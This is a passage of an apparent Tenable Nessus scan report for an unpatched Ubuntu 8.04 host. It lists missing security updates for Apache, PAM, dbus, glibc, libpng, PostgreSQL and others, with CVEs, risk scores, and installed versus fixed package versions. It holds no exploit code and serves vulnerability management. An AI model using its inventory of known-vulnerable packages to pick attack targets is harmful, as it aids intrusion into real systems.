USN 1199-1 fixed a vulnerability in the byterange filter of Apache.

The upstream patch introduced a regression in Apache when handling specific byte range requests. This update fixes the issue.

A flaw was discovered in the byterange filter in Apache. A remote attacker could exploit this to cause a denial of service via resource exhaustion.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1259-1/

### Solution

Update the affected apache2-mpm-itk, apache2.2-bin and / or apache2.2-common packages.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.7891

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 46953 |
| BID | 49616 |
| BID | 49957 |
| CVE | CVE-2011-1176 |
| CVE | CVE-2011-3348 |
| CVE | CVE-2011-3368 |
| XREF | USN:1259-1 |

### Plugin Information

Published: 2011/11/11, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : apache2.2-common_2.2.8-1ubuntu0.15
  - Fixed package     : apache2.2-common_2.2.8-1ubuntu0.22
```

## 57315 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : bzip2 vulnerability (USN-1308-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

vladz discovered that executables compressed by bzexe insecurely create temporary files when they are ran. A local attacker could exploit this issue to execute arbitrary code as the user running a compressed executable.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1308-1/

### Solution

Update the affected bzip2 package.

### Risk Factor

Medium

### VPR Score

8.9

### EPSS Score

0.0022

### CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

4.0 (CVSS2#E:H/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 50409 |
| CVE | CVE-2011-4089 |
| XREF | USN:1308-1 |

### Plugin Information

Published: 2011/12/15, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : bzip2_1.0.4-2ubuntu4
  - Fixed package     : bzip2_1.0.4-2ubuntu4.2
```

## 58618 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : gnutls13, gnutls26 vulnerabilities (USN-1418-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Alban Crequy discovered that the GnuTLS library incorrectly checked array bounds when copying TLS session data. A remote attacker could crash a client application, leading to a denial of service, as the client application prepared for TLS session resumption.

(CVE-2011-4128)

Matthew Hall discovered that the GnuTLS library incorrectly handled TLS records. A remote attacker could crash client and server applications, leading to a denial of service, by sending a crafted TLS record. (CVE-2012-1573).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1418-1/

### Solution

Update the affected libgnutls13 and / or libgnutls26 packages.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.1125

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 50609 |
| BID | 52667 |
| CVE | CVE-2011-4128 |
| CVE | CVE-2012-1573 |
| XREF | USN:1418-1 |

## Plugin Information

Published: 2012/04/06, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libgnutls13_2.0.4-1ubuntu2
  - Fixed package     : libgnutls13_2.0.4-1ubuntu2.7
```

## 58443 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : libpng vulnerability (USN-1402-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that libpng did not properly process compressed chunks. If a user or automated system using libpng were tricked into opening a specially crafted image, an attacker could exploit this to cause a denial of service or execute code with the privileges of the user invoking the program.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1402-1/

### Solution

Update the affected libpng12-0 package.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.0805

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 52453 |
| CVE | CVE-2011-3045 |
| XREF | USN:1402-1 |

## Plugin Information

Published: 2012/03/23, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libpng12-0_1.2.15~beta5-3ubuntu0.2
  - Fixed package     : libpng12-0_1.2.15~beta5-3ubuntu0.6
```

## 58617 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : libpng vulnerability (USN-1417-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that libpng incorrectly handled certain memory operations. If a user or automated system using libpng were tricked into opening a specially crafted image, an attacker could exploit this to cause a denial of service or execute code with the privileges of the user invoking the program.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1417-1/

### Solution

Update the affected libpng12-0 package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.065

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 52830 |
| CVE | CVE-2011-3048 |
| XREF | USN:1417-1 |

## Plugin Information

Published: 2012/04/06, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libpng12-0_1.2.15~beta5-3ubuntu0.2
  - Fixed package     : libpng12-0_1.2.15~beta5-3ubuntu0.7
```

## 58145 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : libxml2 vulnerability (USN-1376-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Juraj Somorovsky discovered that libxml2 was vulnerable to hash table collisions. If a user or application linked against libxml2 were tricked into opening a specially crafted XML file, an attacker could cause a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1376-1/

### Solution

Update the affected libxml2 package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0041

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 52107 |
| CVE | CVE-2012-0841 |
| XREF | USN:1376-1 |

## Plugin Information

Published: 2012/02/28, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libxml2_2.6.31.dfsg-2ubuntu1
  - Fixed package     : libxml2_2.6.31.dfsg-2ubuntu1.8
```

## 56629 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : pam vulnerabilities (USN-1237-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Kees Cook discovered that the PAM pam_env module incorrectly handled certain malformed environment files. A local attacker could use this flaw to cause a denial of service, or possibly gain privileges. The default compiler options for affected releases should reduce the vulnerability to a denial of service. (CVE-2011-3148)

Kees Cook discovered that the PAM pam_env module incorrectly handled variable expansion. A local attacker could use this flaw to cause a denial of service. (CVE-2011-3149)

Stephane Chazelas discovered that the PAM pam_motd module incorrectly cleaned the environment during execution of the motd scripts. In certain environments, a local attacker could use this to execute arbitrary code as root, and gain privileges.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1237-1/

### Solution

Update the affected libpam-modules package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0016

### CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.1 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| CVE | CVE-2011-3148 |
| CVE | CVE-2011-3149 |
| CVE | CVE-2011-3628 |
| XREF | USN:1237-1 |

## Plugin Information

Published: 2011/10/25, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libpam-modules_0.99.7.1-5ubuntu6
  - Fixed package     : libpam-modules_0.99.7.1-5ubuntu6.5
```

## 57314 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : php5 vulnerability (USN-1307-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Florent Hochwelker discovered that PHP incorrectly handled certain EXIF headers in JPEG files. A remote attacker could exploit this issue to view sensitive information or cause the PHP server to crash.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1307-1/

### Solution

Update the affected php5-cgi and / or php5-cli packages.

### Risk Factor

Medium

### VPR Score

6.0

### EPSS Score

0.473

### CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 50907 |
| CVE | CVE-2011-4566 |
| XREF | USN:1307-1 |

## Plugin Information

Published: 2011/12/15, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : php5-cgi_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cgi_5.2.4-2ubuntu5.19

  - Installed package : php5-cli_5.2.4-2ubuntu5.10
  - Fixed package     : php5-cli_5.2.4-2ubuntu5.19

```

## 58168 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : postgresql-8.3, postgresql-8.4, postgresql-9.1 vulnerabilities (USN-1378-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that PostgreSQL incorrectly checked permissions on functions called by a trigger. An attacker could attach a trigger to a table they owned and possibly escalate privileges. (CVE-2012-0866)

It was discovered that PostgreSQL incorrectly truncated SSL certificate name checks to 32 characters. If a host name was exactly 32 characters, this issue could be exploited by an attacker to spoof the SSL certificate. This issue affected Ubuntu 10.04 LTS, Ubuntu 10.10, Ubuntu 11.04 and Ubuntu 11.10. (CVE-2012-0867)

It was discovered that the PostgreSQL pg_dump utility incorrectly filtered line breaks in object names. An attacker could create object names that execute arbitrary SQL commands when a dump script is reloaded. (CVE-2012-0868).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1378-1/

### Solution

Update the affected postgresql-8.3, postgresql-8.4 and / or postgresql-9.1 packages.

### Risk Factor

Medium

### VPR Score

6.5

### EPSS Score

0.0535

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 52188 |
| CVE | CVE-2012-0866 |
| CVE | CVE-2012-0867 |
| CVE | CVE-2012-0868 |
| XREF | USN:1378-1 |

### Plugin Information

Published: 2012/02/29, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.18-0ubuntu0.8.04
```

## 58600 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : tiff vulnerabilities (USN-1416-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Alexander Gavrun discovered that the TIFF library incorrectly allocated space for a tile. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could execute arbitrary code with user privileges, or crash the application, leading to a denial of service. (CVE-2012-1173)

It was discovered that the tiffdump utility incorrectly handled directory data structures with many directory entries. If a user or automated system were tricked into opening a specially crafted TIFF image, a remote attacker could crash the application, leading to a denial of service, or possibly execute arbitrary code with user privileges. This issue only applied to Ubuntu 8.04 LTS, Ubuntu 10.04 LTS, Ubuntu 10.10 and Ubuntu 11.04. (CVE-2010-4665).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1416-1/

### Solution

Update the affected libtiff4 package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0231

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 47338 |
| CVE | CVE-2010-4665 |
| CVE | CVE-2012-1173 |
| XREF | USN:1416-1 |

## Plugin Information

Published: 2012/04/05, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libtiff4_3.8.2-7ubuntu3.4
  - Fixed package     : libtiff4_3.8.2-7ubuntu3.10
```

## 57997 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 / 11.10 : update-manager regression (USN-1284-2)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

USN-1284-1 fixed vulnerabilities in Update Manager. One of the fixes introduced a regression for Kubuntu users attempting to upgrade to a newer Ubuntu release. This update fixes the problem.

We apologize for the inconvenience.

David Black discovered that Update Manager incorrectly extracted the downloaded upgrade tarball before verifying its GPG signature. If a remote attacker were able to perform a man-in-the-middle attack, this flaw could potentially be used to replace arbitrary files.
(CVE-2011-3152)

David Black discovered that Update Manager created a temporary directory in an insecure fashion. A local attacker could possibly use this flaw to read the XAUTHORITY file of the user performing the upgrade.
(CVE-2011-3154)

This update also adds a hotfix to Update Notifier to handle cases where the upgrade is being performed from CD media.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1284-2/

### Solution

Update the affected update-manager-core package.

### Risk Factor

Medium

### VPR Score

4.2

### EPSS Score

0.0044

## CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

## References

| | |
|---|---|
| CVE | CVE-2011-3152 |
| CVE | CVE-2011-3154 |
| XREF | USN:1284-2 |

## Plugin Information

Published: 2012/02/17, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : update-manager-core_1:0.87.24
  - Fixed package     : update-manager-core_1:0.87.33
```

## 55699 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 : libpng vulnerabilities (USN-1175-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Frank Busse discovered that libpng did not properly handle certain malformed PNG images. If a user or automated system were tricked into opening a crafted PNG file, an attacker could cause libpng to crash, resulting in a denial of service. This issue only affected Ubuntu 10.04 LTS, 10.10, and 11.04. (CVE-2011-2501)

It was discovered that libpng did not properly handle certain malformed PNG images. If a user or automated system were tricked into opening a crafted PNG file, an attacker could cause a denial of service or possibly execute arbitrary code with the privileges of the user invoking the program. (CVE-2011-2690)

Frank Busse discovered that libpng did not properly handle certain PNG images with invalid sCAL chunks. If a user or automated system were tricked into opening a crafted PNG file, an attacker could cause a denial of service or possibly execute arbitrary code with the privileges of the user invoking the program. (CVE-2011-2692).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1175-1/

### Solution

Update the affected libpng12-0 package.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.0625

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 48474 |
| BID | 48618 |
| BID | 48660 |
| CVE | CVE-2011-2501 |
| CVE | CVE-2011-2690 |
| CVE | CVE-2011-2692 |
| XREF | USN:1175-1 |

## Plugin Information

Published: 2011/07/27, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libpng12-0_1.2.15~beta5-3ubuntu0.2
  - Fixed package     : libpng12-0_1.2.15~beta5-3ubuntu0.4
```

## 55648 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 : logrotate vulnerabilities (USN-1172-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that logrotate incorrectly handled the creation of new log files. Local users could possibly read log files if they were opened before permissions were in place. This issue only affected Ubuntu 8.04 LTS. (CVE-2011-1098)

It was discovered that logrotate incorrectly handled certain log file names when used with the shred option. Local attackers able to create log files with specially crafted filenames could use this issue to execute arbitrary code. This issue only affected Ubuntu 10.04 LTS, 10.10, and 11.04. (CVE-2011-1154)

It was discovered that logrotate incorrectly handled certain malformed log filenames. Local attackers able to create log files with specially crafted filenames could use this issue to cause logrotate to stop processing log files, resulting in a denial of service.

(CVE-2011-1155)

It was discovered that logrotate incorrectly handled symlinks and hard links when processing log files. A local attacker having write access to a log file directory could use this issue to overwrite or read arbitrary files. This issue only affected Ubuntu 8.04 LTS.

(CVE-2011-1548).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1172-1/

### Solution

Update the affected logrotate package.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0009

### CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.7 (CVSS2#E:F/RL:OF/RC:ND)

### References

| | |
|---|---|
| BID | 47103 |
| BID | 47107 |
| BID | 47108 |
| BID | 47167 |
| CVE | CVE-2011-1098 |
| CVE | CVE-2011-1154 |
| CVE | CVE-2011-1155 |
| CVE | CVE-2011-1548 |
| XREF | USN:1172-1 |

### Plugin Information

Published: 2011/07/22, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : logrotate_3.7.1-3
  - Fixed package     : logrotate_3.7.1-3ubuntu0.8.04.1
```

## 55103 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 : pam regression (USN-1140-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-1140-1 fixed vulnerabilities in PAM. A regression was found that caused cron to stop working with a 'Module is unknown' error. As a result, systems configured with automatic updates will not receive updates until cron is restarted, these updates are installed or the system is rebooted. This update fixes the problem.

We apologize for the inconvenience.

Marcus Granado discovered that PAM incorrectly handled configuration files with non-ASCII usernames. A remote attacker could use this flaw to cause a denial of service, or possibly obtain login access with a different users username. This issue only affected Ubuntu 8.04 LTS.
(CVE-2009-0887)

It was discovered that the PAM pam_xauth, pam_env and pam_mail modules incorrectly handled dropping privileges when performing operations. A local attacker could use this flaw to read certain arbitrary files, and access other sensitive information. (CVE-2010-3316, CVE-2010-3430, CVE-2010-3431, CVE-2010-3435)

It was discovered that the PAM pam_namespace module incorrectly cleaned the environment during execution of the namespace.init script. A local attacker could use this flaw to possibly gain privileges. (CVE-2010-3853)

It was discovered that the PAM pam_xauth module incorrectly handled certain failures. A local attacker could use this flaw to delete certain unintended files. (CVE-2010-4706)

It was discovered that the PAM pam_xauth module incorrectly verified certain file properties. A local attacker could use this flaw to cause a denial of service. (CVE-2010-4707).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1140-2/

### Solution

Update the affected libpam-modules and / or libpam0g packages.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.0021

### CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2009-0887 |
| CVE | CVE-2010-3316 |
| CVE | CVE-2010-3430 |
| CVE | CVE-2010-3431 |
| CVE | CVE-2010-3435 |
| CVE | CVE-2010-3853 |
| CVE | CVE-2010-4706 |
| CVE | CVE-2010-4707 |
| XREF | USN:1140-2 |
| XREF | CWE:189 |

### Plugin Information

Published: 2011/06/13, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : libpam-modules_0.99.7.1-5ubuntu6
  - Fixed package     : libpam-modules_0.99.7.1-5ubuntu6.4

  - Installed package : libpam0g_0.99.7.1-5ubuntu6.1
  - Fixed package     : libpam0g_0.99.7.1-5ubuntu6.4
```

## 55102 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 : pam vulnerabilities (USN-1140-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Marcus Granado discovered that PAM incorrectly handled configuration files with non-ASCII usernames. A remote attacker could use this flaw to cause a denial of service, or possibly obtain login access with a different users username. This issue only affected Ubuntu 8.04 LTS.

(CVE-2009-0887)

It was discovered that the PAM pam_xauth, pam_env and pam_mail modules incorrectly handled dropping privileges when performing operations. A local attacker could use this flaw to read certain arbitrary files, and access other sensitive information. (CVE-2010-3316, CVE-2010-3430, CVE-2010-3431, CVE-2010-3435)

It was discovered that the PAM pam_namespace module incorrectly cleaned the environment during execution of the namespace.init script.

A local attacker could use this flaw to possibly gain privileges.

(CVE-2010-3853)

It was discovered that the PAM pam_xauth module incorrectly handled certain failures. A local attacker could use this flaw to delete certain unintended files. (CVE-2010-4706)

It was discovered that the PAM pam_xauth module incorrectly verified certain file properties. A local attacker could use this flaw to cause a denial of service. (CVE-2010-4707).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1140-1/

### Solution

Update the affected libpam-modules package.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.0021

## CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

5.1 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 34010 |
| BID | 42472 |
| BID | 43487 |
| BID | 44590 |
| BID | 46045 |
| CVE | CVE-2009-0887 |
| CVE | CVE-2010-3316 |
| CVE | CVE-2010-3430 |
| CVE | CVE-2010-3431 |
| CVE | CVE-2010-3435 |
| CVE | CVE-2010-3853 |
| CVE | CVE-2010-4706 |
| CVE | CVE-2010-4707 |
| XREF | USN:1140-1 |
| XREF | CWE:189 |

## Plugin Information

Published: 2011/06/13, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libpam-modules_0.99.7.1-5ubuntu6
  - Fixed package     : libpam-modules_0.99.7.1-5ubuntu6.3
```

## 56506 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 : postgresql-8.3, postgresql-8.4 vulnerability (USN-1229-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the blowfish algorithm in the pgcrypto module incorrectly handled certain 8-bit characters, resulting in the password hashes being easier to crack than expected. An attacker who could obtain the password hashes would be able to recover the plaintext with less effort.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1229-1/

### Solution

Update the affected postgresql-8.3 and / or postgresql-8.4 packages.

### Risk Factor

Medium

### VPR Score

6.5

### EPSS Score

0.0682

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 49241 |
| CVE | CVE-2011-2483 |

XREF USN:1229-1

## Plugin Information

Published: 2011/10/14, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.16-0ubuntu0.8.04
```

## 62434 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : dbus regressions (USN-1576-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-1576-1 fixed vulnerabilities in DBus. The update caused a regression for certain services launched from the activation helper, and caused an unclean shutdown on upgrade. This update fixes the problem.

We apologize for the inconvenience.

Sebastian Krahmer discovered that DBus incorrectly handled environment variables when running with elevated privileges. A local attacker could possibly exploit this flaw with a setuid binary and gain root privileges.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1576-2/

### Solution

Update the affected dbus and / or libdbus-1-3 packages.

### Risk Factor

Medium

### VPR Score

9.5

### EPSS Score

0.5163

### CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.4 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 55517 |
| CVE | CVE-2012-3524 |
| XREF | USN:1576-2 |

### Exploitable With

Core Impact (true)

### Plugin Information

Published: 2012/10/05, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : libdbus-1-3_1.1.20-1ubuntu1
  - Fixed package     : libdbus-1-3_1.1.20-1ubuntu3.9
```

## 62219 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : dbus vulnerability (USN-1576-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Sebastian Krahmer discovered that DBus incorrectly handled environment variables when running with elevated privileges. A local attacker could possibly exploit this flaw with a setuid binary and gain root privileges.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1576-1/

### Solution

Update the affected dbus and / or libdbus-1-3 packages.

### Risk Factor

Medium

### VPR Score

9.5

### EPSS Score

0.5163

### CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

6.0 (CVSS2#E:H/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 55517 |
| CVE | CVE-2012-3524 |
| XREF | USN:1576-1 |

## Exploitable With

Core Impact (true)

## Plugin Information

Published: 2012/09/21, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libdbus-1-3_1.1.20-1ubuntu1
  - Fixed package     : libdbus-1-3_1.1.20-1ubuntu3.7
```

## 62388 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : eglibc, glibc vulnerabilities (USN-1589-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that positional arguments to the printf() family of functions were not handled properly in the GNU C Library. An attacker could possibly use this to cause a stack-based buffer overflow, creating a denial of service or possibly execute arbitrary code.

(CVE-2012-3404, CVE-2012-3405, CVE-2012-3406)

It was discovered that multiple integer overflows existed in the strtod(), strtof() and strtold() functions in the GNU C Library. An attacker could possibly use this to trigger a stack-based buffer overflow, creating a denial of service or possibly execute arbitrary code. (CVE-2012-3480).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1589-1/

### Solution

Update the affected libc6 package.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.0113

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 54374 |
| BID | 54982 |
| CVE | CVE-2012-3404 |
| CVE | CVE-2012-3405 |
| CVE | CVE-2012-3406 |
| CVE | CVE-2012-3480 |
| XREF | USN:1589-1 |

## Plugin Information

Published: 2012/10/02, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libc6_2.7-10ubuntu5
  - Fixed package     : libc6_2.7-10ubuntu8.2
```

## 61485 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : expat vulnerabilities (USN-1527-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that Expat computed hash values without restricting the ability to trigger hash collisions predictably. If a user or application linked against Expat were tricked into opening a crafted XML file, an attacker could cause a denial of service by consuming excessive CPU resources. (CVE-2012-0876)

Tim Boddy discovered that Expat did not properly handle memory reallocation when processing XML files. If a user or application linked against Expat were tricked into opening a crafted XML file, an attacker could cause a denial of service by consuming excessive memory resources. This issue only affected Ubuntu 8.04 LTS, 10.04 LTS, 11.04 and 11.10. (CVE-2012-1148).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1527-1/

### Solution

Update the affected lib64expat1, libexpat1 and / or libexpat1-udeb packages.

### Risk Factor

Medium

### VPR Score

3.6

### EPSS Score

0.0178

### CVSS v2.0 Base Score

